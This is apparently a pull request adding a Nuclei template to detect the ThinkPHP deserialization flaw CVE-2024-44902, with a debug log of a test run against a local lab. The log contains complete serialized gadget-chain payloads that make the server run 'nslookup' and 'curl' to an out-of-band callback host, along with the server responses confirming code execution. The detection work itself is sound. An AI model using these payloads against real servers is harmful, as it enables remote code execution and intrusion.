/claim #14310
This PR adds a Nuclei template to detect CVE-2024-44902, a critical insecure deserialization vulnerability in ThinkPHP versions 6.1.3 through 8.0.4.
ResourceRegister → DbManager → Memcached → Pivot → ModelNote: Requires Memcached PHP extension.
File: http/cves/2024/CVE-2024-44902.yaml
Detection uses dual OOB (Out-of-Band) with OR matchers:
Public test environment: https://github.com/KrE80r/CVE-2024-44902-env
nuclei -t http/cves/2024/CVE-2024-44902.yaml -debug -u http://localhost:8080
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.5.1
projectdiscovery.io
[INF] Current nuclei version: v3.5.1 (outdated)
[INF] Current nuclei-templates version: v10.3.5 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 57
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Using Interactsh Server: oast.online
[INF] [CVE-2024-44902] Dumped HTTP request for http://localhost:8080/?data=O%3A28%3A%22think%5Croute%5CResourceRegister%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00registered%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00resource%22%3BO%3A15%3A%22think%5CDbManager%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00instance%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A11%3A%22connections%22%3Ba%3A1%3A%7Bs%3A7%3A%22getRule%22%3Ba%3A2%3A%7Bs%3A4%3A%22type%22%3Bs%3A29%3A%22%5Cthink%5Ccache%5Cdriver%5CMemcached%22%3Bs%3A8%3A%22username%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A48%3A%22nslookup%20d4svga4h6gvr6dp9u9dgzakwpe6uas9mz.oast.online%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22fru1ts%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D%7D%7Ds%3A7%3A%22default%22%3Bs%3A7%3A%22getRule%22%3B%7D%7D%7D
GET /?data=O%3A28%3A%22think%5Croute%5CResourceRegister%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00registered%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00resource%22%3BO%3A15%3A%22think%5CDbManager%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00instance%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A11%3A%22connections%22%3Ba%3A1%3A%7Bs%3A7%3A%22getRule%22%3Ba%3A2%3A%7Bs%3A4%3A%22type%22%3Bs%3A29%3A%22%5Cthink%5Ccache%5Cdriver%5CMemcached%22%3Bs%3A8%3A%22username%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A48%3A%22nslookup%20d4svga4h6gvr6dp9u9dgzakwpe6uas9mz.oast.online%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22fru1ts%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D%7D%7Ds%3A7%3A%22default%22%3Bs%3A7%3A%22getRule%22%3B%7D%7D%7D HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.19
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
[DBG] [CVE-2024-44902] Dumped HTTP response http://localhost:8080/?data=O%3A28%3A%22think%5Croute%5CResourceRegister%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00registered%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00resource%22%3BO%3A15%3A%22think%5CDbManager%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00instance%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A11%3A%22connections%22%3Ba%3A1%3A%7Bs%3A7%3A%22getRule%22%3Ba%3A2%3A%7Bs%3A4%3A%22type%22%3Bs%3A29%3A%22%5Cthink%5Ccache%5Cdriver%5CMemcached%22%3Bs%3A8%3A%22username%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A48%3A%22nslookup%20d4svga4h6gvr6dp9u9dgzakwpe6uas9mz.oast.online%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22fru1ts%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D%7D%7Ds%3A7%3A%22default%22%3Bs%3A7%3A%22getRule%22%3B%7D%7D%7D
HTTP/1.1 200 OK
Connection: close
Content-Type: text/plain;charset=UTF-8
Date: Wed, 10 Dec 2025 22:46:08 GMT
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
X-Powered-By: PHP/8.0.7
<br />
<b>Notice</b>: unserialize(): Error at offset 395 of 571 bytes in <b>/var/www/html/public/index.php</b> on line <b>18</b><br />
Error during deserialization:
InvalidArgumentException: Undefined db config:mysql
#0 /var/www/html/vendor/topthink/think-orm/src/DbManager.php(273): think\DbManager->getConnectionConfig('mysql')
#1 /var/www/html/vendor/topthink/think-orm/src/DbManager.php(241): think\DbManager->createConnection('mysql')
#2 /var/www/html/vendor/topthink/think-orm/src/DbManager.php(223): think\DbManager->instance('mysql', false)
#3 /var/www/html/vendor/topthink/think-orm/src/DbManager.php(399): think\DbManager->connect()
#4 /var/www/html/vendor/topthink/framework/src/think/route/ResourceRegister.php(51): think\DbManager->__call('getRule', Array)
#5 /var/www/html/vendor/topthink/framework/src/think/route/ResourceRegister.php(69): think\route\ResourceRegister->register()
#6 [internal function]: think\route\ResourceRegister->__destruct()
#7 /var/www/html/public/index.php(18): unserialize('O:28:"think\\rou...')
#8 {main}
[INF] [CVE-2024-44902] Dumped HTTP request for http://localhost:8080/?data=O%3A28%3A%22think%5Croute%5CResourceRegister%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00registered%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00resource%22%3BO%3A15%3A%22think%5CDbManager%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00instance%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A11%3A%22connections%22%3Ba%3A1%3A%7Bs%3A7%3A%22getRule%22%3Ba%3A2%3A%7Bs%3A4%3A%22type%22%3Bs%3A29%3A%22%5Cthink%5Ccache%5Cdriver%5CMemcached%22%3Bs%3A8%3A%22username%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A57%3A%22curl%20http%3A%2F%2Fd4svga4h6gvr6dp9u9dgb13netsootmqr.oast.online%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22fru1ts%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D%7D%7Ds%3A7%3A%22default%22%3Bs%3A7%3A%22getRule%22%3B%7D%7D%7D
GET /?data=O%3A28%3A%22think%5Croute%5CResourceRegister%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00registered%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00resource%22%3BO%3A15%3A%22think%5CDbManager%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00instance%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A11%3A%22connections%22%3Ba%3A1%3A%7Bs%3A7%3A%22getRule%22%3Ba%3A2%3A%7Bs%3A4%3A%22type%22%3Bs%3A29%3A%22%5Cthink%5Ccache%5Cdriver%5CMemcached%22%3Bs%3A8%3A%22username%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A57%3A%22curl%20http%3A%2F%2Fd4svga4h6gvr6dp9u9dgb13netsootmqr.oast.online%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22fru1ts%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D%7D%7Ds%3A7%3A%22default%22%3Bs%3A7%3A%22getRule%22%3B%7D%7D%7D HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
[DBG] [CVE-2024-44902] Dumped HTTP response http://localhost:8080/?data=O%3A28%3A%22think%5Croute%5CResourceRegister%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00registered%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00resource%22%3BO%3A15%3A%22think%5CDbManager%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00instance%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A11%3A%22connections%22%3Ba%3A1%3A%7Bs%3A7%3A%22getRule%22%3Ba%3A2%3A%7Bs%3A4%3A%22type%22%3Bs%3A29%3A%22%5Cthink%5Ccache%5Cdriver%5CMemcached%22%3Bs%3A8%3A%22username%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A57%3A%22curl%20http%3A%2F%2Fd4svga4h6gvr6dp9u9dgb13netsootmqr.oast.online%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22fru1ts%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D%7D%7Ds%3A7%3A%22default%22%3Bs%3A7%3A%22getRule%22%3B%7D%7D%7D
HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/plain;charset=UTF-8
Date: Wed, 10 Dec 2025 22:46:08 GMT
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
X-Powered-By: PHP/8.0.7
Deserialized successfully
object(think\route\ResourceRegister)#2 (2) {
["resource":protected]=>
object(think\DbManager)#4 (7) {
["instance":protected]=>
array(0) {
}
["config":protected]=>
array(2) {
["connections"]=>
array(1) {
["getRule"]=>
array(2) {
["type"]=>
string(29) "\think\cache\driver\Memcached"
["username"]=>
object(think\model\Pivot)#5 (51) {
["parent"]=>
NULL
["autoWriteTimestamp":protected]=>
bool(false)
["exists":"think\Model":private]=>
bool(false)
["force":"think\Model":private]=>
bool(false)
["replace":"think\Model":private]=>
bool(false)
["suffix":protected]=>
NULL
["updateWhere":"think\Model":private]=>
NULL
["connection":protected]=>
NULL
["name":protected]=>
NULL
["key":protected]=>
NULL
["table":protected]=>
NULL
["globalScope":protected]=>
array(0) {
}
["change":protected]=>
array(0) {
}
["lazyFields":protected]=>
array(0) {
}
["defaultSoftDelete":protected]=>
NULL
["pk":protected]=>
string(2) "id"
["autoInc":protected]=>
NULL
["schema":protected]=>
array(0) {
}
["field":protected]=>
array(0) {
}
["type":protected]=>
array(0) {
}
["disuse":protected]=>
array(0) {
}
["readonly":protected]=>
array(0) {
}
["data":"think\Model":private]=>
array(1) {
["fru1ts"]=>
array(1) {
[0]=>
string(57) "curl http://d4svga4h6gvr6dp9u9dgb13netsootmqr.oast.online"
}
}
["origin":"think\Model":private]=>
array(0) {
}
["json":protected]=>
array(1) {
[0]=>
string(6) "fru1ts"
}
["jsonType":protected]=>
array(0) {
}
["jsonAssoc":protected]=>
bool(true)
["enumReadName":protected]=>
bool(false)
["enumStrict":protected]=>
bool(false)
["strict":protected]=>
bool(true)
["get":"think\Model":private]=>
array(0) {
}
["withAttr":"think\Model":private]=>
array(1) {
["fru1ts"]=>
array(1) {
[0]=>
string(6) "system"
}
}
["insert":protected]=>
array(0) {
}
["relation":"think\Model":private]=>
array(0) {
}
["with":protected]=>
array(0) {
}
["together":"think\Model":private]=>
array(0) {
}
["relationWrite":protected]=>
array(0) {
}
["withEvent":protected]=>
bool(true)
["eventObserver":protected]=>
NULL
["createTime":protected]=>
string(11) "create_time"
["updateTime":protected]=>
string(11) "update_time"
["dateFormat":protected]=>
NULL
["autoWriteId":protected]=>
bool(false)
["visible":protected]=>
array(0) {
}
["hidden":protected]=>
array(0) {
}
["append":protected]=>
array(0) {
}
["scene":protected]=>
array(0) {
}
["mapping":protected]=>
array(0) {
}
["resultSetType":protected]=>
NULL
["convertNameToCamel":protected]=>
NULL
["parent":"think\Model":private]=>
NULL
}
}
}
["default"]=>
string(7) "getRule"
}
["event":protected]=>
NULL
["listen":protected]=>
array(0) {
}
["queryTimes":protected]=>
int(0)
["cache":protected]=>
NULL
["log":protected]=>
NULL
}
["registered":protected]=>
bool(false)
}
<html><head></head><body>rqmtoosten31bgd9u9pd6rvg6h4agvs4d</body></html><br />
<b>Fatal error</b>: Uncaught Error: Cannot use a scalar value as an array in /var/www/html/vendor/topthink/think-orm/src/model/concern/Attribute.php:622
Stack trace:
#0 /var/www/html/vendor/topthink/think-orm/src/model/concern/Attribute.php(577): think\Model->getJsonValue('fru1ts', 0)
#1 /var/www/html/vendor/topthink/think-orm/src/model/concern/Attribute.php(547): think\Model->getValue('fru1ts', Array, false)
#2 /var/www/html/vendor/topthink/think-orm/src/model/concern/Conversion.php(262): think\Model->getAttr('fru1ts')
#3 /var/www/html/vendor/topthink/think-orm/src/model/concern/Conversion.php(369): think\Model->toArray()
#4 /var/www/html/vendor/topthink/think-orm/src/model/concern/Conversion.php(374): think\Model->toJson()
#5 /var/www/html/vendor/topthink/framework/src/think/cache/driver/Memcached.php(82): think\Model->__toString()
#6 /var/www/html/vendor/topthink/think-orm/src/DbManager.php(284): think\cache\driver\Memcached->__construct(Array)
#7 /var/www/html/vendor/topthink/think-orm/src/DbManager.php(241): think\DbManager->createConnection('getRule')
#8 /var/www/html/vendor/topthink/think-orm/src/DbManager.php(223): think\DbManager->instance('getRule', false)
#9 /var/www/html/vendor/topthink/think-orm/src/DbManager.php(399): think\DbManager->connect()
#10 /var/www/html/vendor/topthink/framework/src/think/route/ResourceRegister.php(51): think\DbManager->__call('getRule', Array)
#11 /var/www/html/vendor/topthink/framework/src/think/route/ResourceRegister.php(69): think\route\ResourceRegister->register()
#12 [internal function]: think\route\ResourceRegister->__destruct()
#13 {main}
thrown in <b>/var/www/html/vendor/topthink/think-orm/src/model/concern/Attribute.php</b> on line <b>622</b><br />
[d4svga4h6gvr6dp9u9dgb13netsootmqr] Received DNS interaction from 172.69.162.72 at 2025-12-10 22:46:09
------------
DNS Request
------------
;; opcode: QUERY, status: NOERROR, id: 36895
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version 0; flags: do; udp: 1452
;; QUESTION SECTION:
;d4svga4h6gvr6dp9u9dgb13netsootmqr.oast.online. IN A
------------
DNS Response
------------
;; opcode: QUERY, status: NOERROR, id: 36895
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
;; QUESTION SECTION:
;d4svga4h6gvr6dp9u9dgb13netsootmqr.oast.online. IN A
;; ANSWER SECTION:
d4svga4h6gvr6dp9u9dgb13netsootmqr.oast.online. 3600 IN A 167.99.69.236
;; AUTHORITY SECTION:
d4svga4h6gvr6dp9u9dgb13netsootmqr.oast.online. 3600 IN NS ns1.oast.online.
d4svga4h6gvr6dp9u9dgb13netsootmqr.oast.online. 3600 IN NS ns2.oast.online.
;; ADDITIONAL SECTION:
ns1.oast.online. 3600 IN A 167.99.69.236
ns2.oast.online. 3600 IN A 167.99.69.236
[CVE-2024-44902:nslookup-dns-callback] [http] [critical] http://localhost:8080/?data=O%3A28%3A%22think%5Croute%5CResourceRegister%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00registered%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00resource%22%3BO%3A15%3A%22think%5CDbManager%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00instance%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A11%3A%22connections%22%3Ba%3A1%3A%7Bs%3A7%3A%22getRule%22%3Ba%3A2%3A%7Bs%3A4%3A%22type%22%3Bs%3A29%3A%22%5Cthink%5Ccache%5Cdriver%5CMemcached%22%3Bs%3A8%3A%22username%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A57%3A%22curl%20http%3A%2F%2Fd4svga4h6gvr6dp9u9dgb13netsootmqr.oast.online%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22fru1ts%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D%7D%7Ds%3A7%3A%22default%22%3Bs%3A7%3A%22getRule%22%3B%7D%7D%7D
[INF] Scan completed in 14.650570113s. 1 matches found.
KrE80r
@KrE80r
ProjectDiscovery
@projectdiscovery